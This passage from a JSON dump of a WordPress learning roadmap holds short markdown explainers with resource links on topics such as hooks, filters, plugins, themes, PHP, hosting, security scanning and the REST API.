    "content": "# Filters\n\nFilters in WordPress allow you to modify data as it's being processed. Think of them as checkpoints in the code where you can intercept a variable, change its value, and then pass it along to continue its journey. This lets you alter things like post content, excerpt text, or even options stored in the database without directly editing the core WordPress files or plugin code.\n\nVisit the following resources to learn more:\n\n- [@official@WordPress Filter Hooks](https://learn.wordpress.org/tutorial/wordpress-filter-hooks/)\n- [@official@add_filter](https://developer.wordpress.org/reference/functions/add_filter/)\n- [@article@The WordPress Hooks Bootcamp: How to Use Actions, Filters, and Custom Hooks](https://kinsta.com/blog/wordpress-hooks/)\n- [@video@Filter Hooks](https://www.youtube.com/watch?v=EZNJWgq26_E)\n- [@video@WordPress Hooks Actions and Filters Introduction Full Playlist Part -1](https://www.youtube.com/watch?v=7qiPMpi2xc0&list=PLD8nQCAhR3tTVcreVOlFteq0piaXq1jjk)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/firewall--malware-scanning@bDzltzHlI7p-0UqJg2N68.md",
    "content": "# Firewall & Malware Scanning\n\nA firewall acts as a barrier between your website and the outside world, filtering out malicious traffic and preventing unauthorized access. Malware scanning involves regularly checking your website's files and database for malicious code that could harm your site, steal data, or spread to visitors. These tools work together to protect your WordPress site from common security threats.\n\nVisit the following resources to learn more:\n\n- [@official@Protect your website from malware](https://wordpress.com/support/malware-and-site-security/)\n- [@article@What is a Web Application Firewall (WAF) for WordPress?](https://jetpack.com/resources/wordpress-web-application-firewall/)\n- [@article@6 Best WordPress Firewall Plugins Compared (Tested in 2025)](https://www.wpbeginner.com/plugins/best-wordpress-firewall-plugins-compared/)\n- [@article@How to scan WordPress for malware in 4 easy steps](https://kinsta.com/blog/scan-wordpress-for-malware/)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/frontend-fundamentals@8ZMCYeqiy5fzoIWUk1XK5.md",
    "content": "# Frontend Fundamentals\n\nFrontend fundamentals encompass the core technologies that drive the visual and interactive aspects of a website. This includes HTML for structuring content, CSS for styling and layout, and JavaScript for adding dynamic behavior. Understanding these fundamentals is crucial because they form the foundation upon which all websites, including those built with WordPress, are constructed. Without a grasp of these technologies, customizing and troubleshooting the appearance and functionality of a WordPress site becomes significantly more challenging.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the dedicated Frontend Developer Roadmap](https://roadmap.sh/frontend)\n- [@book@Frontend Development Handbook](https://github.com/FrontendMasters/front-end-handbook-2019/blob/master/exports/Front-end%20Developer%20Handbook%202019.pdf)\n- [@article@What Is Front-End Development?](https://cloudinary.com/guides/front-end-development/front-end-development-the-complete-guide)\n- [@video@Frontend web development - a complete overview](https://www.youtube.com/watch?v=WG5ikvJ2TKA)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/full-site-editing-fse@r3hcgBKcIIuTuqqVIvpC9.md",
    "content": "# Full Site Editing (FSE)\n\nFull Site Editing (FSE) is a set of features in WordPress that allows you to customize all parts of your website using blocks. This includes areas like headers, footers, and page templates, giving you complete control over the design and layout of your entire site through the block editor interface.\n\nVisit the following resources to learn more:\n\n- [@official@Use the Site Editor](https://wordpress.com/support/site-editor/)\n- [@official@A First Look at Using Full Site Editing to Edit Your WordPress Theme](https://wordpress.com/go/tutorials/first-look-full-site-editing/)\n- [@article@Mastering WordPress full site editing: a step-by-step tutorial](https://kinsta.com/blog/wordpress-full-site-editing/)\n- [@article@A Complete Beginner’s Guide to WordPress Full Site Editing](https://www.wpbeginner.com/beginners-guide/wordpress-full-site-editing/)\n- [@article@Full site editing](https://fullsiteediting.com/courses/full-site-editing-for-theme-developers/)\n- [@video@WordPress 5.9 Tutorial | Full Site Editing Tutorial](https://www.youtube.com/watch?v=1ThMIssK3IY)\n- [@video@Unlock the Secrets of WordPress Site Editing – Beginner's Guide](https://www.youtube.com/watch?v=u9TX2X82R18)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/functionsphp@28RlVJKJinaFBCjROCYu-.md",
    "content": "# functions.php\n\nThe `functions.php` file in a Classic WordPress theme acts as a plugin, adding custom functionality and features to your website. It's a powerful tool for modifying the behavior of your theme and WordPress itself, allowing you to define custom functions, hooks, filters, and more, without directly altering the core theme files.\n\nVisit the following resources to learn more:\n\n- [@official@Custom Functionality (functions.php)](https://developer.wordpress.org/themes/core-concepts/custom-functionality/)\n- [@article@WordPress functions.php File: The Ultimate Guide + Helpful Code Snippets](https://kinsta.com/blog/wordpress-functions-php/)\n- [@article@How to Find, Access, and Edit functions.php in WordPress](https://jetpack.com/resources/wordpress-functions-php/)\n- [@video@Customizing WordPress #6 - Introduction to the functions template](https://www.youtube.com/watch?v=XD6hGrZPkQU)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/gutenberg@sNJTLbzuzNIoezVmZt89M.md",
    "content": "# Classic Editor\n\nThe Classic Editor is the original text-based editor in WordPress. It allows you to create and edit pages and posts using a visual editor similar to a word processor, or directly with HTML code. You can format text, add images, create lists, and embed media using buttons and shortcodes. While it's been superseded by the Block Editor (Gutenberg), the Classic Editor remains available as a plugin for those who prefer its familiar interface."
  },
  {
    "path": "src/data/roadmaps/wordpress/content/headless-wordpress@1FG5pAtfZjpQH6Mn-B1Nv.md",
    "content": "# Headless WordPress\n\nHeadless WordPress decouples the content management system from the presentation layer (the front-end). This means WordPress is used solely for creating, storing, and managing content, while a separate technology like React, Vue.js, or Angular is used to build and display the website to visitors. This approach allows developers greater flexibility in designing the user experience and leveraging modern front-end frameworks.\n\nVisit the following resources to learn more:\n\n- [@official@What Is Headless WordPress (And How Do You Use It)?](https://wordpress.com/blog/2025/03/20/headless-wordpress/)\n- [@article@How to make a headless WordPress website using React and a plugin](https://www.hostinger.com/tutorials/headless-wordpress)\n- [@article@How To Create a Headless WordPress Site With React.js](https://kinsta.com/blog/wordpress-react/)\n- [@video@Should You Use WordPress As A Headless CMS?](https://www.youtube.com/watch?v=rHNl5PZT0VU&list=PLxvoH8hcoFgmlCawg0WydWGNoTaKLAPWr)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/hooks@p2zuReNEeVSNKNqxDAVAt.md",
    "content": "# Hooks\n\nHooks are a way for WordPress developers to modify or extend the default behavior of WordPress without directly altering the core files. They essentially allow you to \"hook into\" specific points in the WordPress execution process and add your own code to be executed at those points. This makes WordPress highly customizable and extensible.\n\nVisit the following resources to learn more:\n\n- [@official@Hooks](https://developer.wordpress.org/plugins/hooks/)\n- [@official@Hooks List](https://developer.wordpress.org/reference/hooks/)\n- [@article@The WordPress Hooks Bootcamp: How to Use Actions, Filters, and Custom Hooks](https://kinsta.com/blog/wordpress-hooks/)\n- [@article@WordPress Hooks Explained](https://crocoblock.com/blog/wordpress-hooks-explained/)\n- [@video@WordPress Hooks](https://www.youtube.com/watch?v=MW-evyl4nQU)\n- [@video@WordPress Hooks Actions and Filters Introduction Full Playlist Part -1](https://www.youtube.com/watch?v=7qiPMpi2xc0&list=PLD8nQCAhR3tTVcreVOlFteq0piaXq1jjk)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/how-the-web-works@r1_DTSDTbijMxtUEqpEm2.md",
    "content": "# How the Web Works\n\nThe internet functions through a network of interconnected computers that communicate using a standardized set of rules called protocols. When you type a website address into your browser, your computer sends a request to a server that hosts the website. This server then sends back the website's files, which your browser interprets and displays for you. This entire process relies on various technologies working together, including DNS (Domain Name System) to translate domain names into IP addresses, HTTP (Hypertext Transfer Protocol) for transferring data, and HTML, CSS, and JavaScript for structuring, styling, and adding interactivity to web pages.\n\nVisit the following resources to learn more:\n\n- [@article@Introduction to Internet](https://roadmap.sh/guides/what-is-internet)\n- [@article@How does the Internet Work?](https://cs.fyi/guide/how-does-internet-work)\n- [@article@How Does the Internet Work? MDN Docs](https://developer.mozilla.org/en-US/docs/Learn/Common_questions/How_does_the_Internet_work)\n- [@video@How the Internet Works in 5 Minutes](https://www.youtube.com/watch?v=7_LPdttKXPc)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/html@oWXYF_l401eQLlkCT3rn6.md",
    "content": "# HTML\n\nHTML (HyperText Markup Language) is the standard markup language for creating web pages. It provides the structure and content of a website, using elements to define headings, paragraphs, images, links, and other components that a user sees in their browser. These elements are defined by tags, which tell the browser how to display the content.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the Dedicated HTML Roadmap](https://roadmap.sh/html)\n- [@official@HTML MDN Docs](https://developer.mozilla.org/en-US/docs/Web/HTML)\n- [@video@HTML Full Course for Beginners | Complete All-in-One Tutorial | 4 Hours](https://www.youtube.com/watch?v=mJgBOIoGihA)\n- [@video@HTML Full Course - Build a Website Tutorial](https://www.youtube.com/watch?v=pQN-pnXPaVg)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/hybrid@YcwvhxKuYYL8xd3Sx-fY_.md",
    "content": "# Hybrid Themes\n\nHybrid themes in WordPress combine the best aspects of traditional themes and block themes. They allow developers to use both classic PHP templates and the block editor for different parts of their website, offering flexibility in design and development. However, they are not built to use the Site Editor. This approach enables a gradual transition to block-based theming while still leveraging existing theme structures and code.\n\nVisit the following resources to learn more:\n\n- [@official@Bridging the gap: Hybrid themes](https://developer.wordpress.org/news/2024/12/bridging-the-gap-hybrid-themes/)\n- [@official@Hybrid themes](https://developer.wordpress.org/themes/getting-started/what-is-a-theme/#hybrid-themes)\n- [@article@WordPress Hybrid Themes: A user and developer approach](https://kinsta.com/blog/hybrid-themes/)\n- [@article@What is a WordPress Hybrid Theme & How to Use It in 2025](https://serveravatar.com/wordpress-hybrid-theme/)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/images@_Z0jfQot6JP9o2WocoPyx.md",
    "content": "# Image Optimization\n\nImage optimization involves reducing the file size of your images without significantly sacrificing their quality. This makes your website load faster, improves user experience, and can boost your search engine rankings. Techniques include compressing images, choosing the right file format (like JPEG for photos and PNG for graphics), resizing images to appropriate dimensions, and using lazy loading so images only load when they're visible on the screen.\n\nVisit the following resources to learn more:\n\n- [@official@Optimize your images](https://wordpress.com/support/media/image-optimization/)\n- [@article@The 5 Best WordPress Image Optimization Plugins (Tests Included)](https://patchstack.com/articles/best-wordpress-image-optimization-plugins/)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/installation--setup@0X6ry0jNhMwd9ksFSlFYx.md",
    "content": "# Installation & Setup\n\nInstalling and setting up WordPress involves getting it onto your web server and configuring it to function correctly. This process typically includes downloading the WordPress software, creating a database, connecting WordPress to that database, and then configuring basic settings like the site title, tagline, and user accounts. It's the foundational step for building any WordPress website.\n\nVisit the following resources to learn more:\n\n- [@official@How to install WordPress](https://developer.wordpress.org/advanced-administration/before-install/howto-install/)\n- [@official@Setting Up Your Local Development Environment for WordPress](https://wordpress.com/blog/2022/11/14/setting-up-your-local-development-environment-for-wordpress/)\n- [@article@How to install WordPress locally (3 methods)](https://www.hostinger.com/tutorials/install-wordpress-locally)\n- [@video@Why would a WordPress user need to run a local site?](https://www.youtube.com/watch?v=agHdxUrIKow&list=PL1pJFUVKQ7ERioxFzW7z0zwh0OJW_-5jI&index=2)\n- [@video@How to Install WordPress Locally | WordPress Tutorial for Beginners](https://www.youtube.com/watch?v=fArmNhkSrSw)\n- [@video@How to Install WordPress Locally on Windows for Beginners from Scratch](https://www.youtube.com/watch?v=usoJ6ckzUz8)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/introduction@moyU0BmFtCW6IVq_wKKGo.md",
    "content": "# WordPress\n\nWordPress is a popular content management system (CMS) that allows users to create and manage websites. It provides a user-friendly interface for building and publishing content, managing media, and customizing the appearance of a website through themes and plugins. WordPress is known for its flexibility, scalability, and large community support, making it a versatile platform for various types of websites, from blogs to e-commerce stores.\n\nVisit the following resources to learn more:\n\n- [@course@Beginner WordPress Developer](https://learn.wordpress.org/course/beginner-wordpress-developer/)\n- [@official@WordPress](https://wordpress.com/)\n- [@official@Getting started on WordPress.com](https://wordpress.com/support/getting-started-with-wordpress-com/)\n- [@official@WordPress Tutorials](https://learn.wordpress.org/tutorials/)\n- [@article@What is WordPress? Explained for beginners](https://kinsta.com/blog/what-is-wordpress/)\n- [@video@How to Create a Website – WordPress Tutorial for Beginners 2025](https://www.youtube.com/watch?v=R4v_7hh4Yys)\n- [@video@Master WordPress in 20 Minutes (Beginner Tutorial)](https://www.youtube.com/watch?v=U8OqOMkEaLc)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/javascript@soF98LgnxSW3o5y9PEY0t.md",
    "content": "# JavaScript\n\nJavaScript is a programming language primarily used to add interactivity and dynamic behavior to websites. It allows developers to create engaging user experiences by manipulating the content, style, and structure of web pages in response to user actions. It runs directly in the web browser, making it a fundamental technology for frontend web development.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated JavaScript Roadmap](https://roadmap.sh/javascript)\n- [@book@The Modern JavaScript Tutorial](https://javascript.info/)\n- [@article@Build 30 Javascript projects in 30 days](https://javascript30.com/)\n- [@article@JavaScript from Beginner to Professional](https://www.gurukultti.org/admin/notice/javascript.pdf)\n- [@video@JavaScript Crash Course For Beginners](https://www.youtube.com/watch?v=hdI2bqOjy3c&t=4s)\n- [@video@JavaScript Course for Beginners – Your First Step to Web Development](https://www.youtube.com/watch?v=W6NZfCO5SIk)\n- [@feed@Explore top posts about JavaScript](https://app.daily.dev/tags/javascript?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/licensing--updates@oT5yJrNY2Q5IjqpFiTUW5.md",
    "content": "# Theme and Plugin Licensing & Updates\n\nWordPress themes and plugins often come with licenses that dictate how you can use, modify, and distribute them. These licenses can range from open-source (like GPL, allowing broad freedom) to commercial (with restrictions and paid support). Keeping your themes and plugins updated is crucial for security, compatibility, and access to new features. Updates often patch vulnerabilities, ensure the theme or plugin works with the latest version of WordPress, and introduce improvements that enhance functionality and user experience."
  },
  {
    "path": "src/data/roadmaps/wordpress/content/localization@dyZC4MVm-TqclSnTVznPo.md",
    "content": "# Localization\n\nLocalization is the process of adapting a product or content to a specific target market. This involves translating text, but also modifying other elements like images, dates, and currencies to suit the cultural and technical requirements of the locale. The goal is to make the product feel native to the user, regardless of their location or language.\n\nVisit the following resources to learn more:\n\n- [@official@Localization](https://developer.wordpress.org/apis/internationalization/localization/#what-is-localization)\n- [@article@WordPress localization: The simplest guide you’ll find](https://lokalise.com/blog/wordpress-localization/)\n- [@article@WordPress localization: How to get started](https://poeditor.com/blog/wordpress-localization/)\n- [@video@How To Translate Your WordPress Website to Make it Multilingual (And Get More Traffic)](https://www.youtube.com/watch?v=V3cu9TOQKRI)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/localwp@dDmT2tDd7_3SktXDqGMa1.md",
    "content": "# LocalWP\n\nLocalWP is a free tool that simplifies the process of creating and managing local WordPress development environments on your computer. It allows you to quickly set up WordPress sites without needing to configure web servers, databases, or PHP manually. This makes it easier for developers and designers to test themes, plugins, and code changes in a safe and isolated environment before deploying them to a live server.\n\nVisit the following resources to learn more:\n\n- [@official@Local WP](https://localwp.com/)\n- [@article@How to set up local WordPress development with LocalWP](https://www.liquidweb.com/wordpress/local/localwp/)\n- [@video@How to Install WordPress Locally | WordPress Tutorial for Beginners](https://www.youtube.com/watch?v=fArmNhkSrSw&t=10s)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/log-files@N_M4ICk29TBAmDX-xokG4.md",
    "content": "# Log Files\n\nLog files are records that document events occurring within a system or application. They track activities, errors, warnings, and other relevant information, providing a chronological history of what happened. These files are essential for troubleshooting problems, monitoring performance, and understanding the behavior of software over time.\n\nVisit the following resources to learn more:\n\n- [@official@Debugging in WordPress](https://developer.wordpress.org/advanced-administration/debug/debug-wordpress/)\n- [@article@How Do I View My Access and WordPress Error Logs?](https://kinsta.com/blog/wordpress-error-log/)\n- [@article@How to Set up and Access WordPress Logs (Complete Guide)](https://www.cloudways.com/blog/wordpress-logs/)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/managed@Y7a4TRYbgUOO2F_gO877f.md",
    "content": "# Managed WordPress Hosting\n\nManaged WordPress hosting is a specialized type of web hosting where the provider handles all the technical aspects of running a WordPress website. This includes tasks like security updates, backups, performance optimization, and WordPress core updates, allowing website owners to focus solely on creating content and growing their online presence without worrying about server management.\n\nVisit the following resources to learn more:\n\n- [@article@What Is Managed Web Hosting?](https://www.hostinger.com/tutorials/what-is-managed-web-hosting)\n- [@article@What is managed hosting?](https://www.digitalocean.com/resources/articles/what-is-managed-hosting)\n- [@video@Shared Hosting vs Managed WordPress Hosting - Everything you need to know + which 1 is right for you](https://www.youtube.com/watch?v=tcUB7IyK1D8)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/menus@_pPBxAMteOviyqkrCi2TM.md",
    "content": "# WordPress Menus\n\nIn classic WordPress themes, menus are how you organize and display navigation links on your website. They allow visitors to easily find different pages, categories, or custom links. You create and manage these menus through the WordPress admin panel, assigning them to specific locations within your theme, such as the header or footer. These locations are predefined by the theme developer.\n\nVisit the following resources to learn more:\n\n- [@official@Menus](https://wordpress.com/support/menus/)\n- [@official@WordPress Menu User Guide](https://codex.wordpress.org/WordPress_Menu_User_Guide)\n- [@article@An In-Depth Guide to Create and Customize a WordPress Menu](https://kinsta.com/blog/wordpress-custom-menu/)\n- [@article@How to Set Up Your WordPress Menus (In 3 Steps)](https://www.dreamhost.com/blog/tutorial-wp-menu-setup/)\n- [@video@Create a WordPress Navigation Menu in 5 Minutes (Even If You're a Beginner!)](https://www.youtube.com/watch?v=6MCZ3lXAEdk)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/metabox@uozpsemLlAJWS-uQkdy6X.md",
    "content": "# Metabox\n\nA metabox is a custom input panel added to the WordPress post or page editing screen. It allows users to enter or select additional data related to the content being created, such as specific details, settings, or options that go beyond the standard title and body text. This data is then stored and can be used to display information or modify the behavior of the website.\n\nVisit the following resources to learn more:\n\n- [@official@Metabox.io](https://metabox.io/)\n- [@official@Meta Box Plugin](https://wordpress.org/plugins/meta-box/)\n- [@official@Custom Meta Boxes](https://developer.wordpress.org/plugins/metadata/custom-meta-boxes/)\n- [@article@How To Add Meta Boxes and Custom Fields To Posts in Gutenberg](https://kinsta.com/blog/wordpress-add-meta-box-to-post/)\n- [@video@Beginners Guide To MetaBox for WordPress](https://www.youtube.com/watch?v=ZbTLmSluti8)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/migrations@CLqqdBm5yQ85UabxPvlPw.md",
    "content": "# Migrations\n\nMigrations involve moving a WordPress website from one environment to another. This could be from a local development server to a live production server, from one hosting provider to another, or even between different servers within the same provider. The process typically includes transferring the WordPress files (themes, plugins, uploads) and the database containing all the website's content and settings.\n\nVisit the following resources to learn more:\n\n- [@article@How to manually migrate a WordPress Site](https://teamupdraft.com/blog/how-to-manually-migrate-a-wordpress-site/)\n- [@article@9 Powerful WordPress Migration Plugins (Move Your Site Safely)](https://kinsta.com/blog/wordpress-migration-plugins/)\n- [@video@How to MANUALLY Migrate Your Wordpress Site](https://www.youtube.com/watch?v=wROa37k_RQA)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/multisite@yfkZv_REsq-ttyeiW9c8y.md",
    "content": "# WordPress Multisite\n\nWordPress Multisite is a feature that allows you to create and manage a network of multiple websites from a single WordPress installation. Instead of installing WordPress separately for each website, you can use Multisite to share core files and plugins, simplifying administration and updates across all sites in the network. Each site within the network can have its own unique domain name, theme, and content, while still being managed from a central dashboard.\n\nVisit the following resources to learn more:\n\n- [@official@WordPress Multisite / Network](https://developer.wordpress.org/advanced-administration/multisite/)\n- [@article@WordPress Multisite: The Everything-You-Need-To-Know Guide to WordPress Network](https://kinsta.com/blog/wordpress-multisite/)\n- [@video@What is WordPress Multisite?](https://www.youtube.com/watch?v=VOuEl4ZLEgc&list=PL1pJFUVKQ7ERioxFzW7z0zwh0OJW_-5jI&index=13)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/oop-in-php@Pg83mKnN_q2OPWZoSUeIw.md",
    "content": "# Object-Oriented Programming in PHP\n\nObject-Oriented Programming (OOP) is a programming paradigm that uses \"objects\" to structure software design. These objects combine data (properties) and code (methods) that operate on that data. In PHP, OOP allows developers to create reusable and organized code by defining classes, which are blueprints for creating objects. This approach promotes modularity, making code easier to maintain, extend, and debug.\n\nVisit the following resources to learn more:\n\n- [@article@Object-oriented programming in PHP: transforming WordPress development](https://kinsta.com/blog/php-oop/)\n- [@article@Simplifying WordPress's functions.php with OOP](https://dev.to/tylerlwsmith/simplifying-wordpresss-functionsphp-with-oop-2mj8)\n- [@article@How to approach object-oriented programming with WordPress](https://carlalexander.ca/approaching-object-oriented-programming-wordpress/)\n- [@video@WordPress Architecture Fundamentals: OOP vs Procedural Approach - Which wins?](https://www.youtube.com/watch?v=xTcFXEbOMxE)\n- [@video@Learn To Use Classes, Objects, Methods Etc. Via Simple Projects In WordPress | Oop Php In Wp Part 1](https://www.youtube.com/watch?v=QECrzVKQ360)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/options-api@bvmPbWarEJjJWYbIeuo50.md",
    "content": "# Options API\n\nThe Options API provides a standardized way for plugins and themes to store, retrieve, and manage settings or configuration data in the WordPress database. It simplifies the process of creating settings pages and handling user preferences, ensuring data is stored securely and consistently. This API offers functions to add, update, retrieve, and delete options, making it easier for developers to manage plugin and theme settings without directly interacting with the database."
  },
  {
    "path": "src/data/roadmaps/wordpress/content/overrides@xAVlAoI_aSSfDxyW5fUkC.md",
    "content": "# Overrides in Block Themes\n\nOverrides allow you to modify the default appearance and behavior of blocks and templates without directly editing the core theme files. This ensures that your customizations are preserved during theme updates. You can achieve this by creating custom templates, template parts, and block styles within your child theme or custom plugin, effectively overriding the original definitions.\n\nVisit the following resources to learn more:\n\n- [@official@Override content in synced patterns](https://wordpress.com/support/wordpress-editor/block-pattern/pattern-overrides)\n- [@official@An introduction to overrides in Synced Patterns](https://developer.wordpress.org/news/2024/06/an-introduction-to-overrides-in-synced-patterns/)\n- [@official@Explore synced pattern overrides](https://learn.wordpress.org/lesson/explore-synced-pattern-overrides/)\n- [@video@New in WordPress 6.5: Synced Pattern Overrides ⭐️](https://www.youtube.com/watch?v=VGw3aNIwTNw)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/page-editors@WvQNMj6wTKVEDq9ro3NWp.md",
    "content": "# Page Editors\n\nPage editors are tools that allow users to create and modify the content and layout of individual pages on a website through a visual interface. They simplify the process of web design and content creation by providing a user-friendly way to arrange elements like text, images, and other media without needing to write code. These editors often use a drag-and-drop interface, making it easy to build and customize pages to suit specific needs.\n\nVisit the following resources to learn more:\n\n- [@official@WordPress Editors: Site Editor, Template Editor, and Page Editor Explained](https://wordpress.com/go/website-building/site-editor-template-editor-page-editor-explained/)\n- [@official@About WordPress editors](https://wordpress.com/support/editors/)\n- [@article@WordPress Editors, the Customizer and Page Builders](https://kubiobuilder.com/wordpress-web-design/wordpress-editor-customizer-builder/)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/performance-monitoring@sWgjddp7yGITFu_sYIVA7.md",
    "content": "# Performance Monitoring\n\nPerformance monitoring involves tracking key metrics like website loading speed, server response time, and database query efficiency. This process helps identify bottlenecks that slow down your site, impacting user experience and search engine rankings. By regularly analyzing these metrics, you can optimize your WordPress site for faster performance and improved overall efficiency.\n\nVisit the following resources to learn more:\n\n- [@official@Improve your website’s speed and performance](https://wordpress.com/support/site-speed/)\n- [@article@Guide to Monitoring WordPress Performance with Free Tools](https://wisdmlabs.com/blog/guide-to-monitoring-wordpress-performance/)\n- [@video@5 Best WordPress Site Monitoring Tools in 2025](https://www.youtube.com/watch?v=e6tvoZ0eSZU)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/php@fX71CXA26cUxY5WX_zABi.md",
    "content": "# PHP\n\nPHP is a scripting language primarily used for web development. It's embedded within HTML, meaning you can weave PHP code directly into your web pages. When a user requests a page containing PHP code, the server processes the PHP, generates HTML, and sends that HTML to the user's browser. This allows for dynamic content generation, database interaction, and handling user input, making websites interactive and personalized.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the dedicated PHP Roadmap](https://roadmap.sh/php)\n- [@official@PHP](https://www.php.net/)\n- [@official@PHP Docs](https://www.php.net/docs.php)\n- [@article@PHP Tutorial](https://www.phptutorial.net/)\n- [@article@Learn PHP Interactively](https://www.learn-php.org/about)\n- [@video@Introduction to PHP](https://www.youtube.com/watch?v=KBT2gmAfav4)\n- [@video@PHP Tutorial - Full Course](https://www.youtube.com/watch?v=OK_JCtrrv-c)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/phpunit@lW3g0UO-UeyjddzF0lpup.md",
    "content": "# PHPUnit\n\nPHPUnit is a testing framework for PHP, providing a structured way to write and run automated tests for your code. It allows developers to define specific expectations for their code's behavior and then automatically verify if those expectations are met. In WordPress development, PHPUnit is used to test plugins, themes, and WordPress core itself, ensuring code quality and preventing regressions.\n\nVisit the following resources to learn more:\n\n- [@official@PHP: PHPUnit](https://make.wordpress.org/core/handbook/testing/automated-testing/phpunit/)\n- [@official@PHPUnit](https://phpunit.de/index.html)\n- [@article@PHP unit testing: How to write your first test for WordPress](https://www.liquidweb.com/wordpress/php/unit-testing/)\n- [@video@WordPress PHP Unit Testing | Step-by-Step Guide | 2024](https://www.youtube.com/watch?v=G9GaEgiY0zY)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/plugin-basics@CrD4HH8mht1KZ0_m1MUsm.md",
    "content": "# Plugin Basics\n\nWordPress plugins are essentially bundles of code that you can upload to your WordPress site to extend its functionality. They allow you to add new features, modify existing ones, or integrate with third-party services without having to directly edit the core WordPress files. Think of them as apps for your website, enabling you to customize and enhance your site's capabilities with ease.\n\nVisit the following resources to learn more:\n\n- [@official@What is a plugin?](https://learn.wordpress.org/lesson/what-is-a-plugin/)\n- [@official@Plugins](https://wordpress.com/support/plugins)\n- [@official@Plugin Catalog](https://wordpress.com/plugins)\n- [@article@What is a WordPress plugin: A comprehensive guide for beginners](https://www.hostinger.com/tutorials/what-is-wordpress-plugin)\n- [@video@What is a WordPress Plugin?](https://www.youtube.com/watch?v=WAAh3DsI7_Q&t=152s)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/plugins@9vUEteBwtAyEFZsVXzKTl.md",
    "content": "# WordPress Plugins\n\nWordPress plugins are like add-ons for your WordPress website. They are pieces of software that you can upload and install to extend the functionality of your site. Think of them as apps for your website, allowing you to add features like contact forms, e-commerce capabilities, SEO tools, social media integration, and much more, without needing to write any code yourself.\n\nVisit the following resources to learn more:\n\n- [@official@What Are WordPress Plugins and Themes? (A Beginner’s Guide)](https://wordpress.com/go/website-building/what-are-wordpress-plugins-and-themes-a-beginners-guide/)\n- [@official@What is a plugin?](https://learn.wordpress.org/lesson/what-is-a-plugin/)\n- [@official@Plugin Docs](https://developer.wordpress.org/plugins/)\n- [@official@Plugin Catalog](https://wordpress.com/plugins)\n- [@article@What is a WordPress plugin: A comprehensive guide for beginners](https://www.hostinger.com/tutorials/what-is-wordpress-plugin)\n- [@video@What is a WordPress Plugin?](https://www.youtube.com/watch?v=WAAh3DsI7_Q)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/query-editor@e5DY4WPJmaKzuj1KncBuY.md",
    "content": "# Query Monitor\n\nQuery Monitor is a free WordPress plugin designed for developers. It helps identify and debug performance bottlenecks by providing detailed information about database queries, PHP errors, hooks and actions, block editor blocks, enqueued scripts and stylesheets, HTTP API calls, and more. This allows developers to quickly pinpoint slow queries, problematic plugins, or inefficient theme code, leading to a faster and more stable WordPress site.\n\nVisit the following resources to learn more:\n\n- [@official@Query Monitor](https://querymonitor.com/)\n- [@official@Query Monitor – The developer tools panel for WordPress](https://wordpress.org/plugins/query-monitor/)\n- [@article@Query Monitor – Debug WordPress and Improve Website Performance](https://kinsta.com/blog/query-monitor/)\n- [@video@Query Monitor - 7 Important Tools for Modern WordPress Development #1](https://www.youtube.com/watch?v=M2g18-l7Aso)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/query-monitor@e5DY4WPJmaKzuj1KncBuY.md",
    "content": "# Query Monitor\n\nQuery Monitor is a free WordPress plugin designed for developers. It helps identify and debug performance bottlenecks by providing detailed information about database queries, PHP errors, hooks and actions, block editor blocks, enqueued scripts and stylesheets, HTTP API calls, and more. This allows developers to quickly pinpoint slow queries, problematic plugins, or inefficient theme code, leading to a faster and more stable WordPress site.\n\nVisit the following resources to learn more:\n\n- [@official@Query Monitor](https://querymonitor.com/)\n- [@official@Query Monitor – The developer tools panel for WordPress](https://wordpress.org/plugins/query-monitor/)\n- [@article@Query Monitor – Debug WordPress and Improve Website Performance](https://kinsta.com/blog/query-monitor/)\n- [@video@Query Monitor - 7 Important Tools for Modern WordPress Development #1](https://www.youtube.com/watch?v=M2g18-l7Aso)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/rest-api@VVgrD8RFghqwZ9ISWKmus.md",
    "content": "# REST API\n\nThe WordPress REST API allows plugins to interact with WordPress core and other plugins using HTTP requests. It provides a standardized way to access and manipulate WordPress data, like posts, pages, users, and settings, through endpoints. This enables developers to build custom integrations, create headless WordPress sites, and develop interactive applications that communicate with WordPress."
  },
  {
    "path": "src/data/roadmaps/wordpress/content/sage@eshQkhtAGQZYR-4YRQoFC.md",
